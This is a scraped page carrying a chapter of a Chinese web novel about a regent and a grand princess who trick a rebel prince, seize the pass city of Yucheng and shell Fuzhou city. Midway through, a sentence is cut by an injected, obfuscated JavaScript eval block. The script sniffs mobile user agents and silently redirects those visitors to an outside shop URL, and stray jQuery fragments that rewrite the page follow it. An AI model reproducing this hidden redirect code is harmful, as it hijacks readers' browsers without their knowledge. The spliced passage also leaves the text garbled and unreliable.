默认冷灰
24号文字
方正启体

42. 攻城

作者:薯条不吃海鸥本书字数:K更新时间:
    天光熹微时,宁谧浩然的蓝蒙住万物,穹顶高远,似深不见底的湖泊。萧时运与周行谌并肩立于山坡,四下林原岑默,唯有鸟鸣清脆刺空寂,叽喳雀跃。


    山下驻地的士兵正在整装拔营,萧时运看了一会儿,见营中调度井然,不见丝毫忙乱,赞许道:“大长公主果然治军有方。”


    侧脸与身边人笑:“多谢您愿将亲卫供我调遣。”


    昨日萧时运与周行谌商议,因昉州东部兵力不足,临时征调大长公主府护卫入各城卫所协防。府中部分扈从对此颇有微词,但周行谌没多说什么,他们也只能接受。


    周行谌瞥她一眼:“摄政王似乎很惬意。”


    “惬意?”摄政王若无其事伸了个懒腰,“大概吧,毕竟马上能揍周惟简了。”


    她见周行谌神色冷淡,又问:“大长公主会对故人手下留情吗?”


    “不会。”周行谌干脆否认,“我和周齐贤并没有你们想得那么熟。”


    “昭武长公主府参与剿匪,只是为保昉州安宁。”


    “皇亲宗室既享天下养,危难关头,自然也该承担保境安民的责任。”


    萧时运一向懒得听这些冠冕堂皇的,也不太信。但这份义正严辞配上周行谌不苟言笑的威厉,倒格外有说服力。


    她的确身正影直。


    然而——


    摄政王漫不经心勾唇:“这么说来,您能容忍周齐贤到现在,也是难得。”


    昭武眼底划过些许惊讶,又随即收敛,她盯着她看了一会儿,忍不住皱眉:“有没有人告诉过你,你这张嘴,真的很讨厌。”


    萧时运佯作认真想了一会儿,笑眯眯说:“没有。”


    “即使真有人这么想,大约也不敢说出来。”


    周行谌:……


    她轻巧转回话题:“周齐贤在复州养寇自重,和废帝博弈,以至荆湖山南交界处山匪成势,百姓苦不堪言。”


    这不算什么难猜的事,甚至平定漠北时,也有人这样劝过她。


    拿民生做筹码的卑劣谋算,萧时运自是不屑做,但显然,某些没底线的野心家并没有同样的觉悟。


    “我不喜欢管别人的闲事,更何况我也管不了那么多。”大长公主平静迎上她视线里的讥诮,“我能做的,只有尽量让昉州免于兵乱。”


    讲到这里,她话里不由多出些嶙峋的直刺:“不过摄政王也知道,废帝并不喜欢宗室干涉地方政务。”


    “昉州能有如今的局面,多半还是指挥使和知府善兵。”


    “可您在常例的大长公主仪仗规制之外,依然能留下这两千兵马,并让贼寇不敢入昉州。”萧时运笑,“我很佩服。”


    “在昉州的公务上,我的确敢说一句问心无愧。”周行谌平静看她,“余下所有的谋算,也不过是想保全昭武长公主府的威严。”


    “我只是好奇。”萧时运努力让自己的表情显出无害的诚恳,“真的没有过半分野心吗?”


    “或许有过吧。”周行谌坦然道,“只可惜,不是每个人都能有摄政王的天时地利人和。”


    “我可以冒险,乘玉却不能。”


    萧时运注视着她眉间沉沉的悲哀,没有再说什么,重新将视线移回坡下的军营:“我们该走了。”


    “放心吧,有您今日的帮助,我在京城,也不会与您为难。”


    周行谌不知道的是,萧时运在那一瞬间,曾有过片刻的分神,压下了那个注定不可能有答案的问题。


    ——乘玉若知道她困住了母亲的一生,会痛苦吗?


    ***


    第二日,卯时一刻,峪城城外。


    马蹄急踏过山林,周行谌死死攥着缰绳,身侧百十护卫皆神色凝重。潮热的风扑面,虽说相较白日已温和许多,却还是裹得人烦闷。一行人看见峪城城头高悬的灯笼时,在官道的岔路口停下,周行谌抬头看了眼月亮,示意下属点燃火把。


    片刻后,不远处的林中同样打起一盏火把。大长公主府的人按照约定,又点起两个火把,双方对过暗号,才见几人骑马从林中出来。


    “殿下收到您传来的急信,特命卑职在此接应。”为首那人在马上拱手道,“事从权宜,请恕卑职礼数不周之罪。”


    周行谌略微颔首:“有劳赵将军。”


    赵将军略打量过周行谌身边的人马,问:“大长公主府的亲卫可安置妥当?”


    “这是自然。”周行谌神色平静,“那些将士跟随我多年,忠心耿耿,如今萧时运下令将其分编入昉州几所,倒正好方便我们行事。”


    昨日上午,周齐贤接到大长公主府的急信,信上直言萧时运欺人太甚,不仅要裁撤府上亲卫,甚至想让她离开昉州,回京安养。她只得假意投诚,交了个无关紧要的信差换取萧时运信任。情势危急,安排好大长公主府的人手后,她将在今夜赶往峪城。还请王弟日后借三千兵马,好与昉州境内人手里应外合,夺回州府,图谋北进。


    于襄王而言,周行谌在他起兵前便一直与复州互通有无,从昭武长公主府回来的手下也说大长公主见过萧时运后,脸色实在难看,晚膳只略坐了片刻,便借口身体不适离席。


    是以周齐贤虽惊讶萧时运莽撞,急不可耐便要动昉州,却依然根据周行谌信中所言作了安排。


    “襄王殿下令卑职多问一句。”那人借着火光,小心翼翼端详着周行谌的表情,“您当真舍得扔下乘玉郡主?”


    “不过是个累赘。”周行谌漠然道,“倒也多亏她,才帮我在萧时运那里搏了不少信任,总不算白养这些年。”


    赵将军听罢不再多言,掉转马头道:“大长公主请随卑职入城。”


    不过一盏茶的时间,众人行至城门下。赵将军吩咐士兵开城门的间隙,周行谌漫不经心问:“不知王弟给我准备了多少人?”


    “王爷说,请您少安毋躁。眼下战事焦灼,不是分兵的好时机。若您真想拿回昉州,还请移步复州城,从长计议。”


    从长计议。周行谌冷笑:“襄王这是不信我?”


    “萧时运发现我失踪,定然对昉州有所提防,若不趁消息晓谕各城前尽快用兵,只怕是夜长梦多。”


    “王爷绝无此意!”赵将军连忙解释,“只是峪城是防务重地,兵马不宜离城。从余下几城调拨兵马也须时间。大长公主不如去复州城与王爷见过,再作打算。”


    周行谌听罢没什么反应,赵将军只以为她是不满,却也不以为意,只提辔要进城。如今是大长公主逃亡峪城,有求于人,他自然不必在意她的怒火。


    然而马匹才走出去两步,他忽然听见身后人笑了一声:“其实襄王的猜疑,也并非毫无道理。”


    赵将军回头,来不及多做反应,只觉眼前白光一闪,头颅轱辘滚至墙边,眼里震惊未散,却再无生机。


    随着峪城几人命丧刀下,浓夜中忽然杀声四起。周行谌的亲卫迅速控制城门,将埋伏的北军放入城中。叛军尚未来得及反应,便在困倦里枉做了刀下亡魂。


    萧时运慢悠悠骑马踱过来,随意瞥了眼地上的尸体:“大长公主这一刀,斩得的确漂亮。”


    周行谌无


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366761|192237||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    动于衷转过头:“如今摄政王可信我的诚意?”


    摄政王勾唇笑:“当然。”


    峪城是复州内散州,也是其州府最重要的屏障,此地夹于两山之间,易守难攻,过峪城后沿官道南行,便是州治所在的复州城。


    对于这样一个打起来耗费惨重的地方,周行谌既有办法智取,萧时运自然不可能拒绝。


    她略顿了一下,佯装叹气:“只可惜,放跑了沈怀月。”


    “摄政王想兵不血刃,总要舍出点代价。放走一个眼线去报信,换襄王的信任和峪城,很划算。”周行谌注视着峪城内门户紧闭的房舍,“你是什么时候发现,乘玉的玩伴桂姑娘,是沈怀月?”


    “襄王不会派那么一个无足轻重的人来联络您。”萧时运笑,“既然信差一问三不知,昉州必然还有其他内应。”


    “若留心打听,乘玉郡主在今年三月多了个玩伴的事,并不难知晓。”


    “在她离府送信之前,我其实没想到她是沈怀月。”萧时运饶有趣味盯着周行谌,“能做乘玉郡主的玩伴,看来,您很喜欢她。”


    “她性子不坏,和乘玉也投缘。乘玉看中的,我自然会给她。”大长公主轻轻叹了口气,“说来也可惜,如果早些遇到沈姑娘,我或许会收她做义女。”


    萧时运盯着她看了一会儿,笑。那的确很可惜。


    ***


    收复峪城后,萧时运命军队在当地休整五日,便剑指州府。


    好久不见啊,信王殿下。


    复州城为中南雄郡,城墙修得高大坚固,楼上叛军旗帜猎猎作响,萧时运与几位将领驻马凝视片刻,对红拂道:“令众军后撤。”


    周行谌闻言皱眉,却见萧时运的下属领命离开,依然神色如常,也只得咽下疑惑,静观其变。


    她很快得到了答案。


    大长公主在轰鸣的巨响里震惊看向萧时运,后者笑嘻嘻道:“您怎么这般惊讶,荆湖剿匪的时候没用过火炮吗?”


    周行谌:……


    用过归用过,但跟这动静比起来,可真是小巫见大巫。


    如果她没猜错,这东西应该就是跟着西洋贸易传入,一炮糜烂数十里的红夷大炮。


    “摄政王有这种好东西,怎么现在才拿出来?”


    “杀手锏太早出场,可就没意思了。”萧时运笑,“况且运到战场也要时间嘛。”


    她先前让士兵多休整两日,也是为了等这几门祖宗运过来。


    复州城之前,摄政王的确没想过动炮火。


    一来这东西过于耗费,二则这东西杀伤太大,用了便人尽皆知,万一提前被周惟简知道,把老弱妇孺拉到城头当人质*,场面实在难看。


    但都打到敌人老巢,守城的又是襄王铁杆亲信,她自然也不必手软。


    叛军连丢几城,本就士气低落,此刻未见对手,先遭此天降巨祸,更是四散逃窜。萧时运见状立刻领军攻城:“杀进复州城,活捉贼首,赏黄金百两,邑三等爵。”


    士兵听到军令,立时群情激奋,快马加鞭往内城衙署冲去,所过之处刀光狠厉,恨不得将叛军生吞活剥。


    这可是加官进爵能保半辈子荣华的超级年终奖啊!


    挡我财路者,死。


    然而这份热血维持了不过两刻,卫玄匆忙回报:“贼首带亲信从南城门出逃,往西南山林去。”


    姓周的还真是不死心。萧时运暗骂了一句,扬鞭策马:“追!”


    -


    *女主的担心并不是虚空打靶,此事在当代战争亦有记载
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)